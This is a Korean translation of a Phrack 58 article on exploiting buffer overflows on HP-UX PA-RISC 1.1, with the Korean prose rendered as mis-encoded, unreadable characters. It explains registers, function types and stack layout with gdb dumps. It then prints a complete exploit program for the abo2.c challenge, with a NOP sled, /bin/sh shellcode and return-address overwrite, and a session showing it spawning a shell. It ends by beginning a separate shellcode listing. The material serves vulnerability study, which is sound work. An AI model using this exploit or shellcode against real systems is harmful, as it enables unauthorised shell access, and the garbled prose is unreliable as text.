************************************************************************ Á¦¸ñ: HP-UX (PA-RISC 1.1) ¿À¹öÇ÷οì(ÇÁ·¢ 58È£) ¹ø¿ª: vangelis(http://www.wowhacker.org) * Ȥ½Ã¶óµµ ¿À¿ªÀ̳ª ¿ÀŸ ÀÖÀ¸¸é ¸»¾¸ÇØÁÖ½Ã±æ ¹Ù¶ø´Ï´Ù. * Àǹ®Á¡: ÀúÀÚ°¡ ¿µ¾î±Ç »ç¶÷ÀÎÁö??? ********************************************************************* ==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x0b of 0x0e |=-----------------=[ HP-UX (PA-RISC 1.1) ¿À¹öÇ÷οì ]=-------------------=| |=------------------------------------------------------------------------=| |=----------------=[ Zhodiac ]=------------------=| --[ µµÀÔ ºô¾î¸ÔÀ»! ¶Ç ´Ù¸¥ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ¹®¼­¶ó´Ï!! À½... ÀÌ ¹®¼­´Â ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ¼³¸íÇϱâ À§ÇØ ÀǵµµÈ °ÍÀÌ ¾Æ´Ï¸ç, asm ÄÚµùÀ» ¼³¸íÇϱâ À§ÇÑ °Íµµ ¾Æ´Ï´Ù. ÀÌ ¹®¼­´Â ÁÖ·Î ¼¼°¡Áö ÅäÇÈ¿¡ ÃÊÁ¡À» ¸ÂÃß°í ÀÖ´Ù. HP-UX/PA-RISC ·¹Áö½ºÅÍ¿Í ½ºÅà ±¸Á¶ abo2.c¸¦ À§ÇÑ ¼Ö·ç¼Ç(community.core-sdi.org/~gera/InsecureProgramming/¿¡ À§Ä¡) ÀÌ OS/arch¿ë µÎ °¡Áö ½©ÄÚµå HP-UX/PA-RISC 1.1 ÇÏ¿¡¼­ ¹öÆÛ ¿À¹öÇ÷ο츦 °ø°ÝÇÏ´Â °ÍÀ» ½ÃÀÛÇϱâ À§ÇÑ ±âº»ÀûÀÎ ÅäÇÈÀ» Æ÷ÇÔÇÏ°í ÀÖ´Ù. ÀÌ ¹®¼­´Â ´ÙÀ½ ¼½¼ÇÀ¸·Î ±¸ºÐµÈ´Ù. 1. PA-RISC ¼Ò°³ 1.1. RISC ±âº»»çÇ× 1.2. ·¹Áö½ºÅÍ 1.3. Leaf ¹× non-leaf ÇÔ¼öµé 2. ½ºÅà ±¸Á¶ 3. ¹ßÀüµÈ ¹öÆÛ ¿À¹öÇ÷οì #2 4. Ưº°ÇÑ °Íµé 4.1. ·ÎÄà ½©ÄÚµå 4.2. ¿ø°Ý ½©ÄÚµå 5. ¸®¼Ò½ºµé 6. Àλç --[ 1. PA-RISC ¼Ò°³ --[ 1.1. RISC ±âº»»çÇ×µé RISC (Reduced Instruction Set Computing)´Â ÁÙ¾îµç ¸í·É¼ÂÀ» °¡Áö°í ÀÖ°í, CISC(Complex instruction Set Computing) ÇÁ·Î¼¼½ºÀÇ °°Àº ÀÓ¹«¸¦ ÇÏ´Â ´É·ÂÀ» °¡Áø ÇÁ·Î¼¼½º¸¦ ÁöĪÇÑ´Ù. RISC ÇÁ·Î¼¼½º´Â ¸î°¡Áö °øÅëµÈ Ư¡À» °¡Áö°í ÀÖ´Ù: - ¸Þ¸ð¸® Á¢±Ù¿ë ·Îµù ¹× ÀúÀå µðÀÚÀÎ - ¾îµå·¹½ÌÀÇ ³Ñ¹ö¸¦ ÁÙÀÓ - ¸í·É Å©±â´Â Ç×»ó °°´Ù(Speeds up) - ¸î°¡Áö ¸í·É Æ÷¸Ë - ¸Þ¸ð¸®º¸´Ù´Â ·¹Áö½ºÅ͸¦ ´õ ¸¹ÀÌ »ç¿ë PA-RISC arch¸¦ ´õ ±í°Ô »ìÆ캸¸é ¸î°¡Áö ¸íÈ®ÇÑ Æ¯Â¡À» °¡Áö°í ÀÖ´Ù: - Á÷Á¢ÀûÀÎ ¾îµå·¹½Ì, offset ¾ø´Â °ü°è - ¸í·É¿¡¼­ »çÀü °¨¼Ò - ¸í·É¿¡¼­ »çÈÄ Áõ°¡ - 12°¡ÁöÀÇ ¸í·É Æ÷¸Ë, ÀÌµé ¸ðµÎ 32 ºñÆ®¸¦ °¡Áü --[ 1.2. ·¹Áö½ºÅÍ PA-RISC 1.1¿¡´Â 4°¡Áö ŸÀÔÀÇ ·¹Áö½ºÅÍ°¡ ÀÖ´Ù: - ÀϹÝÀûÀÎ ·¹Áö½ºÅÍ (32) - Float Æ÷ÀÎÅÍ ·¹Áö½ºÅÍ (32) - Space ·¹Áö½ºÅÍ (8) - Control ·¹Áö½ºÅÍ (25) ¿ì¸®´Â ½©ÄÚµå ÇÁ·Î±×·¡¹Ö°ú ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°Ý¿¡ °ü·ÃµÈ "ÀϹÝÀûÀÎ ·¹Áö½ºÅÍ"¿¡ ÃÊÁ¡À» ¸ÂÃâ °ÍÀÌ´Ù. ÀÌ ·¹Áö½ºÅ͵éÀº ³ªÁß¿¡ º¸°Ô µÇ°ÚÁö¸¸ %gr0 (%r0)ÀÎ °ÍÀ» Á¦¿ÜÇÏ°í CPU°¡ Ư±Ç »óÅ¿¡ ÀÖÁö ¾ÊÀ» ¶§Á¶Â÷µµ ¾ðÁ¦¶óµµ »ç¿ëµÉ ¼ö ÀÖ´Ù. ÀϹÝÀûÀÎ ·¹Áö½ºÅÍÀÇ ¸î°¡Áö ¿ë¹ýÀ» ¼³¸íÇϱâ·Î ÇÏ°Ú´Ù. - %gr0: Ç×»ó 0 °ªÀ» Æ÷ÇÔÇÏ°í ÀÖÀ¸¸ç, ¸¸¾à ±×°Í¿¡ ¹º°¡¸¦ ¾²·Á°í ÇÑ´Ù¸é Æó±âµÉ °ÍÀÌ´Ù. - %gr1: ADDIL ¸í·ÉÀÇ Å¸°Ù ·¹Áö½ºÅÍ. °øÀ¯ ¶óÀ̺귯¸® ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ ÇÔ¼ö¸¦ È£ÃâÇϱâ Àü¿¡ ¼ÒÀ§ ¸»ÇÏ´Â "°øÀ¯ ¶óÀ̺귯¸® stub"ÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ ÀúÀåÇÑ´Ù. - %gr2 (%rp): ÀÌ ·¹Áö½ºÅÍ¿¡¼­ ÇÔ¼ö È£ÃâÀÌ BL(Branch and Link)·Î ÀÌ·ç¾îÁú ¶§ ¸®ÅÏ ¾îµå·¹½º¸¦ ÀúÀåÇÑ´Ù. - %gr3-%gr21: ÀϹÝÀûÀÎ ¿ëµµÀÇ ·¹Áö½ºÅÍ - %gr19: °øÀ¯ ¶óÀ̺귯¸® ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ ¸µÅ© Å×À̺í base ·¹Áö½ºÅÍÀÌ´Ù. - %gr22: ±×°Íµé ÁßÀÇ Çϳª¸¦ È£ÃâÇÒ ¶§ syscall ¹øÈ£¸¦ ÀúÀå - %gr23-gr26: ÇÔ¼ö Àμö arg0-arg3¸¦ ÀúÀå - %gr28,gr29 (%ret0, %ret1): %gr28¿¡ ÇÔ¼ö ¶Ç´Â syscallÀÇ ¸®ÅÏ°ªÀ» ÀúÀå(Á÷Á¢ÀûÀÎ °ª ¶Ç´Â reference address). ¾î¶² ȯ°æ¿¡¼­ ±× °ªÀº %gr29¿¡ ºÐ·ùµÈ´Ù. - %gr30: ¿©±â¼­ ÇöÀç ½ºÅà Æ÷ÀÎÅ͸¦ ÀúÀå. 16ºñÆ®·Î Á¶Á¤µÇ¾î¾ß ÇÑ´Ù. - %gr31: PA-RISC 2.0 ÇÏ¿¡¼­ BLE ¸í·ÉÀÌ ½ÇÇàµÉ ¶§ ¸®ÅÏ ¾îµå·¹½º¸¦ Æ÷ÇÔ ¸¶Áö¸· ¸î°¡Áö ÁÖÀÇÁ¡: - PA-RISC 1.0 ¾Æ·¡¿¡¼­´Â ´ÜÁö 16 Floating-Point ·¹Áö½ºÅÍ°¡ ÀÖÀ¸¸ç, PA-RISC 1.1 ¹× 2.0¿¡¼­´Â 32°³°¡ ÀÖ´Ù. - Control ·¹Áö½ºÅÍ´Â CPU°¡ Ư±Ç ¸ðµå¿¡ ÀÖÀ» ¶§¸¸ Á¢±ÙÀÌ °¡´ÉÇÏ´Ù. - PA-RISC 2.0 ·¹Áö½ºÅÍ »çÀÌÁî´Â 64 ºñÆ®ÀÌ´Ù. --[ 1.3. Leaf ¹× non-leaf ÇÔ¼öµé SPARC°ú ºñ½ÁÇÏ°Ô HP-UX ¾Æ·¡¿¡¼­´Â ÁÖ·Î µÎ°¡Áö·Î ÇÔ¼ö¸¦ ºÐ·ùÇÒ ¼ö ÀÖ´Ù. - Leaf ÇÔ¼öµé: Ãß°¡ ¾î¶² ÇÔ¼öµµ È£ÃâÇÏÁö ¾Ê´Â´Ù. Ãß°¡ ¾î¶² ÇÔ¼öµµ È£ÃâÇÏÁö ¾Ê±â ¶§¹®¿¡ Leaf ÇÔ¼ö´Â ¸Þ¸ð¸®¿¡ %rp¸¦ ÀúÀåÇÏÁö ¾Ê´Â´Ù. ¿Ö³ÄÇϸé È£ÃâµÈ »õ·Î¿î ÇÔ¼ö¿¡ ÀÇÇؼ­ °áÄÚ µ¤¾î¾²ÀÌÁö ¾ÊÀ» °ÍÀ̱⠶§¹®ÀÌ´Ù. ´ÙÀ½Àº ÄÚµåÀÇ ¿¹¿Í leaf ÇÔ¼öÀÇ gdb µð½º¾î¼Àºí ´ýÇÁÀÌ´Ù. HP9000:~/overflows/leaf$ cat leaf.c int leaf(char *buff) { int a=0; a=1; } int main(int argc, char **argv) { leaf(argv[1]); } HP9000:~/overflows/leaf$ gdb disass dump¿¡¼­µµ º¼ ¼ö ÀÖµíÀÌ ½ºÅÿ¡ %rp¸¦ °áÄÚ ÀúÀåÇÏÁö ¾Ê´Â´Ù. (gdb) disass leaf Dump of assembler code for function foo: 0x3280 : copy r3,r1 0x3284 : copy sp,r3 0x3288 : stw,ma r1,40(sr0,sp) 0x328c : stw r26,-24(sr0,r3) 0x3290 : stw r0,8(sr0,r3) 0x3294 : ldi 1,r19 0x3298 : stw r19,8(sr0,r3) 0x329c : ldo 40(r3),sp 0x32a0 : ldw,mb -40(sr0,sp),r3 0x32a4 : bv,n r0(rp) End of assembler dump. (gdb) - Non-Leaf ÇÔ¼öµé: Àû¾îµµ ÇϳªÀÇ ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. Non-Leaf ÇÔ¼öµéÀº Ãß°¡ ¾î¶² ÇÔ¼öµµ È£ÃâÇÏÁö ¾Ê±â ¶§¹®¿¡ Ç×»ó ½ºÅÿ¡ %rp¸¦ ÀúÀåÇÑ´Ù. ¿Ö³ÄÇϸé È£ÃâµÈ ÇÔ¼ö´Â wn ¸®ÅÏ Æ÷ÀÎÅÍ·Î %rp¸¦ µ¤¾î¾µ °ÍÀ̱⠶§¹®ÀÌ´Ù. ´ÙÀ½Àº ÄÚµåÀÇ ¿¹¿Í leaf ÇÔ¼öÀÇ gdb µð½º¾î¼Àºí ´ýÇÁÀÌ´Ù. HP9000:~/overflows/non-leaf$ cat non-leaf.c int non_leaf(char *buff) { int a=0; a=1; sleep(1); } int main(int argc, char **argv) { non_leaf(argv[1]); } HP9000:~/overflows/non-leaf$ gdb disass dump¿¡¼­ "stw rp,-14(sr0,sp)"¿¡¼­ ½ºÅÿ¡ %rp¸¦ ÀúÀåÇÑ´Ù´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. (gdb) disass non_leaf Dump of assembler code for function foo: 0x32b0 : stw rp,-14(sr0,sp) 0x32b4 : copy r3,r1 0x32b8 : copy sp,r3 0x32bc : stw,ma r1,80(sr0,sp) 0x32c0 : stw r26,-24(sr0,r3) 0x32c4 : stw r0,8(sr0,r3) 0x32c8 : ldi 1,r19 0x32cc : stw r19,8(sr0,r3) 0x32d0 : ldi 1,r26 0x32d4 : b,l 0x3298 ,rp 0x32d8 : nop 0x32dc : ldw -14(sr0,r3),rp 0x32e0 : ldo 40(r3),sp 0x32e4 : ldw,mb -40(sr0,sp),r3 0x32e8 : bv,n r0(rp) 0x32ec : break 0,0 End of assembler dump. (gdb) --[ 2. ½ºÅà ±¸Á¶ ´ÙÀ½ ½ºÅà ±¸Á¶´Â HP-UX B10.20ÀÇ PA-RISC 1.1°ú gcc ÄÄÆÄÀÏ·¯¸¦ »ç¿ëÇØ ¸¸µé¾îÁø °ÍÀÌ´Ù.(¸î°¡Áö´Â cc·Î ¼³¸íÇÒ °ÍÀÌ´Ù) ³ª´Â ÀÌ°Í¿¡ ´ëÇÑ ¾î¶² ¹®¼­µµ º¸Áö ¸øÇßÀ¸¸ç, ±×·¡¼­ gdb¿Í ³ªÀÇ Ãß·Ð ´É·Â¿¡ ±â¹ÝÀ» µÎ°í ÀÛ¼ºÇß´Ù. PA-RISC´Â SPARC°¡ ÇÏ´Â °Íó·³ ÇÔ¼ö ½ÃÀÛ(prelude)¿¡¼­ ·¹Áö½ºÅÍ °ªÀ» ÀúÀåÇϱâ À§ÇØ "save", "restore"¿Í °°Àº ¸í·ÉÀ» °¡Áö°í ÀÖÁö´Â ¾Ê´Ù. ÀÌ ¸ðµç °ÍÀº ÄÄÆÄÀÏ·¯ »çÀÌÀÇ º¯È­¿Í ¼ÒÇÁÆ®¿þ¾î¸¦ ÅëÇØ ±¸ÇöµÇ¾î ÀÖ´Ù. ¿ì¸®´Â ¹öÆÛ ¿À¹öÇ÷οì¿Í °ü·ÃµÈ non-leaf ÇÔ¼ö¿¡ ÃÊÁ¡À» ¸ÂÃâ °ÍÀÌ´Ù. ¸ðµç "non-leaf" ÇÔ¼ö´Â ÇÔ¼öÀÇ ½ÃÀÛ°ú ¸¶Áö¸·À» ±¸ÇöÇÑ´Ù. ¿¹¸¦ µé¾î main()¿¡¼­ 0x3380
: stw rp,-14(sr0,sp) 0x3384 : copy r3,r1 0x3388 : copy sp,r3 0x338c : stw,ma r1,40(sr0,sp) 0x3390 : stw r26,-24(sr0,r3) 0x3394 : stw r25,-28(sr0,r3) ... 0x33e0 : ldw -14(sr0,r3),rp 0x33e4 : ldo 40(r3),sp 0x33e8 : ldw,mb -40(sr0,sp),r3 0x33ec : bv,n r0(rp) ¹«¾ùÀÌ ÀϾ´ÂÁö Â÷·Ê´ë·Î »ìÆ캸ÀÚ: - 0x3380
: stw rp,-14(sr0,sp) %sp-0x14¿¡ ¸®ÅÏ ¾îµå·¹½º(BL ´ÙÀ½ÀÇ %rp¿¡)¸¦ ÀúÀåÇÑ´Ù. ¿ø½Ã C ÄÄÆÄÀÏ·¯´Â %sp-0x18¿¡ ±×°ÍÀ» ÀúÀåÇÑ´Ù. - 0x3384 : copy r3,r1 %r1¿¡ %r3À» º¹»çÇÑ´Ù. ÀÌ°ÍÀº %r3¿¡ ÀÌÀü ÇÔ¼öÀÇ %sp¸¦ ÀúÀåÇÒ °ÍÀ̱⠶§¹®ÀÌ´Ù. - 0x3388 : copy sp,r3 Copy %sp in %r3. - 0x338c : stw,ma r1,40(sr0,sp) ½ºÅÿ¡ %r1( the sp of to back functions)À» ÀúÀåÇÏ°í, 0x40¿¡ %sp¸¦ Áõ°¡½ÃŲ´Ù. ÀÌ 0x40Àº ±×°Í ÀÚüÀÇ ·ÎÄà º¯¼ö¸¦ À§ÇØ ÇÁ·¹ÀÓ ¸ÞÀÌÄ¿¿Í ´ÙÀ½ ÇÔ¼öÀÇ ÀμöµéÀ» À§ÇØ 64 ¹ÙÀÌÆ®¸¦ Ãß°¡·Î °ø°£À» ¿¹¾àÇÑ´Ù.(ÇÁ·¹ÀÓ ¸ÞÀÌÄ¿´Â È£ÃâµÉ ´ÙÀ½ ÇÔ¼öÀÇ °ÍÀ̸ç, ÀÌ°ÍÀº ¸Å¿ì Áß¿äÇÏ´Ù.) - 0x3390 : stw r26,-24(sr0,r3) %r3 (¸¶Áö¸· %sp) - 0x24¿¡ ½ºÅÃ(¸¶Áö¸· ÇÔ¼ö¸¦ À§ÇØ ¿¹¾àµÈ °ø°£)¿¡ ÇÔ¼öÀÇ Ã¹¹ø° ÀÎÀÚ(%r26)¸¦ º¹»ç - 0x3394 : stw r25,-28(sr0,r3) ÇÔ¼öÀÇ µÎ¹ø° ÀÎÀÚ(%r25)¸¦ %r3 (last %sp) - 0x28ÀÇ ½ºÅÃ(¸¶Áö¸· ÇÔ¼ö¸¦ À§ÇØ ¿¹¾àµÈ °ø°£)¿¡ º¹»ç ¸¶Áö¸· µÎ°³ÀÇ ¸í·É ¸ÞÄ¿´ÏÁòó·³ ù¹ø° ³× ÀÎÀÚµéÀº %r26-%r23¿¡ ÀúÀåµÉ °ÍÀÌ´Ù. ÇÔ¼ö·ÎÀÇ jmp ¾Õ¿¡ 4°³ÀÇ ÀÎÀÚ ÀÌ»óÀÌ ÀÖÀ» °æ¿ì ÀûÀýÇÑ °÷¿¡ ½ºÅÿ¡ ÀúÀåµÉ °ÍÀÌ´Ù. F.e. arg4 ---> %r3 - 52 arg5 ---> %r3 - 56 arg6 ---> %r3 - 60 ... ±×·¡¼­ ½ºÅà ±¸Á¶´Â ´ÙÀ½°ú °°´Ù: | | --------------------------- %sp \ | | | | | | | | | | | | | | | | | | ÇÁ·¹ÀÓ ¸ÞÀÌÄ¿¿Í | | | ´ÙÀ½ ÇÔ¼öÀÇ ÀÎÀÚ¸¦ À§ÇØ | | | ¿¹¾àµÈ °ø°£ | | | Ç×»ó 64 ¹ÙÀÌÆ®. | | | | | | | | | | | | | | | | | | | | | --------------------------- / | | \ | | | ÇÔ¼öÀÇ ·ÎÄà º¯¼ö¸¦ À§ÇØ ... | ¿¹¾àµÈ °ø°£ | | | | | | + 4 ¹ÙÀÌÆ® (%r1) | %r1 | / --------------------------- %r3 \ -4 | | | -8 | | | -12 | | | ÇöÀç ÇÔ¼öÀÇ ÇÁ·¹ÀÓ ¸ÞÀÌÄ¿ -16 | | | -20 | %r2 (%rp) gcc | | -24 | %r2 (%rp) cc | | -28 | | | -32 | | / -36 | arg1 = %r26 | \ -40 | arg2 = %r25 | | -44 | arg3 = %r24 | | ÇöÀç ÇÔ¼öÀÇ -48 | arg4 = %r23 | | ÀÎÀÚ¸¦ À§ÇØ -52 | arg5 | | ¿¹¾àµÈ °ø°£ -56 | ... | | -60 | | | -64 | | | --------------------------- / | | ÀÌ À¯¿ëÇÑ Á¤º¸¿Í ´õºÒ¾î ¸¸¾à ¹öÆÛ ¿À¹öÇ÷ο찡 ½ºÅÿ¡¼­ ¹ß»ýÇÏ°í, ¾î¶² ÇÔ¼öÀÇ Áö¿ªº¯¼ö¸¦ ¿À¹öÇ÷οì½ÃŲ´Ù¸é ¿ì¸®´Â È£ÃâµÈ ´ÙÀ½ ÇÔ¼öÀÇ ÇÁ·¹ÀÓ ¸ÞÀÌÄ¿¸¦ µ¤¾î¾µ °ÍÀÌ´Ù. ÀÌ "´ÙÀ½ ÇÔ¼ö"´Â ¹öÆÛ¸¦ º¹»çÇÏ´Â ÇÔ¼ö strcpy(), sprintf() µîµîÀ¸·Î »ç¿ëµÈ´Ù. ÀÌ°ÍÀÌ ¿Ö ´ÙÀ½ ÇÁ·Î±×·¥ÀÌ ÀͽºÇ÷ÎÀÕµÉ ¼ö ¾ø¾ú´ø°¡ÀÇ ÀÌÀ¯ÀÌ´Ù. ¿Ö³ÄÇÏ¸é ¹öÆÛ¸¦ º¹»çÇÏ´Â "´ÙÀ½ ÇÔ¼ö"°¡ ¾ø°í, ¿ì¸®°¡ Àá½Ã ¹öÆÛ¸¦ º¹»çÇϱ⠶§¹®ÀÌ´Ù. void vulnerable_func(char *buffer) { char buffer2[128]; int counter=0; while(buffer[counter]!='\0') { buffer2[counter]=buffer[counter]; counter++; } printf("Buffer: %s\n",buffer); } int main(int argc, char **argv) { vulnerable_func(argv[1]); } °¢ ÇÔ¼öÀÇ ³¡ ºÎºÐ¿¡ ¿ì¸®´Â ¿ì¸®°¡ º» ¸ðµç ¿ÀÆÛ·¹À̼Ç(½ºÅÃÀ¸·ÎºÎÅÍ %rp¸¦ Àаí, %sp¿Í %r3À» ÀúÀåÇÏ°í, %rp·Î ºÐ±â)Ãë¼ÒÇÑ´Ù. --[ 3. ¹ßÀüµÈ ¹öÆÛ ¿À¹öÇ÷οì #2 ´ÙÀ½ À¥ ÆäÀÌÁö¿¡¼­: http://community.core-sdi.com/~gera/InsecureProgramming/ ¹öÆÛ ¿À¹öÇ÷οì, Èü ¿À¹öÇ÷οì, Æ÷¸Ë ½ºÆ®¸µ ¹ö±× µîµî°ú °°Àº ¸¹Àº ŸÀÔÀÇ ¹ö±×¿¡ Ãë¾àÇÑ ¸î °¡Áö ÇÁ·Î±×·¥µéÀÌ ÀÖ´Ù. ¿ì¸®´Â ¸¹Àº »ç¶÷µéÀ» °ñÄ¡ ¾ÆÇÁ°Ô ÇÑ Advance Buffer Overflow #2 (abo2.c)¿¡ ÃÊÁ¡À» ¸ÂÃâ °ÍÀÌ´Ù. HP9000:~/overflows/sample$ cat abo2.c /* abo2.c * * specially crafted to feed your brain bygera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } HP9000:~/overflows/sample$ ¸¹Àº »ç¶÷µéÀº "°ø°ÝÀÌ °¡´ÉÇÏÁö ¾Ê´Ù"¶ó°í ¸»ÇÑ´Ù. ³ª´Â "x86 ¾ÆÅ°ÅØó¿¡¼­´Â °ø°ÝÀÌ °¡´ÉÇÏÁö ¾Ê´Ù"¶ó°í ¸»ÇÏ°í ½Í´Ù. ÇÏÁö¸¸ PA-RISC¿Í °°Àº ´Ù¸¥ ¾ÆÅ°ÅØó¿¡¼­´Â °ø°ÝÀÌ °¡´ÉÇÏ´Ù. x86 Ç÷§Æû¿¡¼­´Â ÃæºÐÇÑ ±æÀÌÀÇ ¹öÆÛ¸¦ Á¦°øÇÔÀ¸·Î½á main()ÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤¾î¾µ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÇÏÁö¸¸ ÇÇÇÒ ¼ö ¾ø´Â exit() ¶§¹®¿¡ ¿ì¸®´Â °áÄÚ Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÇ Ç÷ο츦 ÅëÁ¦ÇÏÁö´Â ¸øÇÒ °ÍÀÌ´Ù. Á»´õ ÁÁ°Ô ¸»Çϸé: "³ª´Â ±×°ÍÀ» ÅëÁ¦ÇÒ ¼ö ¾ø¾ú´Ù." ¿ì¸®´Â exit()°¡ ½ÇÇàµÇ±â Àü¿¡ ÇÁ·Î±×·¥ÀÇ Ç÷ο츦 ÅëÁ¦ÇÒ ¹æ¹ýÀ» ã¾Æ¾ß ÇÑ´Ù. HP-UX10.20/PA-RISC ÇÏ¿¡¼­´Â ½ºÅÃ(%r30 or %sp)ÀÌ ³·Àº ÁÖ¼Ò¿¡¼­ ³ôÀº ÁÖ¼Ò·Î ÀÚ¶ó±â ¶§¹®¿¡(¸®´ª½º x86°ú °°Àº ¸î¸î ´Ù¸¥ ¾ÆÅ°ÅØó¿Í´Â ¹Ý´ë·Î), ±×¸®°í ¿ª½Ã ÀÌ ¹®¼­¿¡¼­ ¼³¸íµÈ ½ºÅà ±¸Á¶ ¶§¹®¿¡ ¿ì¸®´Â main()ÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤¾î¾²Áö ¸øÇÒ °ÍÀÌ´Ù. ÇÏÁö¸¸ ¿ì¸®´Â strcpy()ÀÇ ¸®ÅÏ ¾îµå·¹½º´Â µ¤¾î¾µ °ÍÀÌ´Ù. ±×·¡¼­ ÀÏ´Ü ¹öÆÛ°¡ º¹»çµÇ°í, strcpy°¡ ±×°Í ÀÚüÀÇ %rp·Î ºÐ±âÇϸé exit()°¡ ½ÇÇàµÇ±â Àü¿¡ ÇÁ·Î±×·¥ÀÇ È帧À» ¿ì¸®ÀÇ ½©Äڵ尡 ÅëÁ¦±ÇÀ» °¡Áú °ÍÀÌ´Ù. ÀÌ ¸ðµç °ÍÀº non-leaf ÇÔ¼öó·³ HP-UX B.10.20 ÇÏ¿¡¼­ strcpy()°¡ ±¸ÇöµÇ¾î Àֱ⠶§¹®ÀÌ´Ù. Fyodor YarochkinÀº HP-UX 11.00 ÇÏ¿¡¼­´Â strcpy()°¡ leaf ÇÔ¼ö·Î ±¸ÇöµÇ¾î Àֱ⠶§¹®¿¡ ÀÌ Æ¯º°ÇÑ ¿À¹öÇ÷οì´Â ±× ¹öÀüÀÇ HP-UX¿¡¼­´Â ÀͽºÇ÷ÎÀÕ µÇÁö ¾ÊÀ»°Å¶ó°í ³ª¿¡°Ô ¸»Çß´Ù. ³ª´Â strcpy()ÀÇ ¿À¹öÇ÷ο찡 HP-UX 11.00 ¾Æ·¡¿¡¼­ °ø°ÝÇÏ´Â °ÍÀÌ °¡´ÉÇÏÁö ¾Ê´Ù¶ó°í ¸»ÇÏ´Â °ÍÀÌ ¾Æ´Ï´Ù. ´ÙÀ½ Äڵ带 Çѹø º¸°í ¿Ö ¿©ÀüÈ÷ °ø°ÝÀÌ °¡´ÉÇÑÁö ¾Ë¾Æº¸¾Æ¶ó. HP9000:~/overflows/hp11-strcpy$ cat hp11-strcpy.c void foo(char *buff,char *dest) { strcpy(dest,buff); } int main(int argc, char **argv) { char buffer[128]; foo(argv[1],buffer); } HP9000:~/overflows/hp11-strcpy$ °³³ä Áõ¸í: HP9000:~/overflows/sample$ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license HP9000:~/overflows/abo2$ cat abo2.c /* abo2.c * * specially crafted to feed your brain bygera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } HP9000:~/overflows/abo2$ HP9000:~/overflows/abo2$ cat xploit.c /* * abo2.c xploit by Zhodiac * * http://community.core-sdi.com/~gera/InsecureProgramming/ * * Xploited on HPUX * 9/9/2001 * * Madrid * */ #include //#define NOP 0x3902800b #define NOP 0x08630243 #define BUFFSIZE 256+48+1 #define NUMADDR 10 #define OFFSET -80 char shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe" "/bin/sh\xff"; long get_sp(void) { __asm__("copy %sp,%ret0 \n"); } int main(int argc, char *argv[]) { char buffer[BUFFSIZE]; char *ch_ptr; unsigned long addr,offset=OFFSET; int aux; if (argc==2) offset=atoi(argv[1]); addr=get_sp()+offset; memset(buffer,0,sizeof(buffer)); ch_ptr=(char *)buffer; for (aux=0; aux<(BUFFSIZE-strlen(shellcode)-NUMADDR*4)/4; aux++) { *(ch_ptr++)=(NOP>>24)&255; *(ch_ptr++)=(NOP>>16)&255; *(ch_ptr++)=(NOP>>8)&255; *(ch_ptr++)=NOP&255; } memcpy(ch_ptr,shellcode,strlen(shellcode)); ch_ptr+=strlen(shellcode); for (aux=0; aux>24)&255; *(ch_ptr++)=(addr>>16)&255; *(ch_ptr++)=(addr>>8)&255; *(ch_ptr++)=addr&255; } buffer[BUFFSIZE-1]='\0'; printf("Return Address %#x\n",addr); printf("Buffer Size: %i\n",strlen(buffer)); if (execl("./abo2","abo2",buffer,NULL)==-1) { printf("Error at execl()\n"); exit(-1); } } HP9000:~/overflows/abo2$ HP9000:~/overflows/abo2$ gcc -o xploit xploit.c HP9000:~/overflows/abo2$ gcc -o abo2 abo2.c HP9000:~/overflows/abo2$ ./xploit Return Address 0x7b03a5b0 Buffer Size: 304 $ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license $ exit HP9000:~/overflows/abo2$ --[ 4. Ưº°ÇÑ °Íµé ¿©±â¿¡ HP-UX¿ë ½©Äڵ尡 µÎ °¡Áö ÀÖ´Ù. ù¹ø°´Â ·ÎÄà ÄÚµåÀ̸ç, /bin/shÀ» ½ÇÇàÇÑ´Ù. ÇÏÁö¸¸ Å©±â´Â ´ÜÁö 47 ¹ÙÀÌÆ®·Î ÁÙ¾îµé¾ú´Ù. µÎ¹ø°´Â ±×°ÍÀÇ °³¹ß½Ã±â¿¡ ³»°¡ ¾Ë°í Àִ ù¹ø°ÀÇ ¿ø°Ý ½©ÄÚµåÀÌ´Ù. ±×°ÍÀº tcp Æ÷Æ®¿¡ ½©À» ÅõÀÔÇϱâ À§ÇØ inetd¸¦ »ç¿ëÇÑ´Ù. ¸ðµç syscalls socket(), bind(), dup2()¸¦ ±¸ÇöÇÏ´Â Á¦ »ïÀÇ ½©Äڵ尡 Àִµ¥ ³»°¡ ÀÒ¾î¹ö·È´Ù. ºô¸Ó¸ÔÀ»!! (<---- ¸ÛûÀÌ, ¿ªÀÚ ÁÖ) --[ 4.1. ·ÎÄà ½©ÄÚµå ¿äÁò ¸î¸î HP-UX ½©ÄÚµåµéÀÌ ÀÖÁö¸¸(Fyodor¿Í lsd-plÀÌ ¸î¸îÀ» °³¹ßÇÔ), °³¹ß½Ã±â¿¡´Â À¯ÀÏÇÏ°Ô °ø°³µÈ °ÍÀº ADMÀÇ K2 ÁßÀÇ Çϳª¿´´Ù. ÀÌ ½©ÄÚµå´Â ¾î´ÀÁ¤µµ ÃÖÀûÈ­µÇ¾î ÀÖÀ¸¸ç, Å©±â¸é¿¡¼­ 13¹ÙÀÌÆ® ´õ ³·´Ù) /* * HP-UX 47 bytes shellcode * * By Zhodiac * * Madrid, 13/05/2001 * */ char shellcode[]= "\xe8\x3f\x1f\xfd" 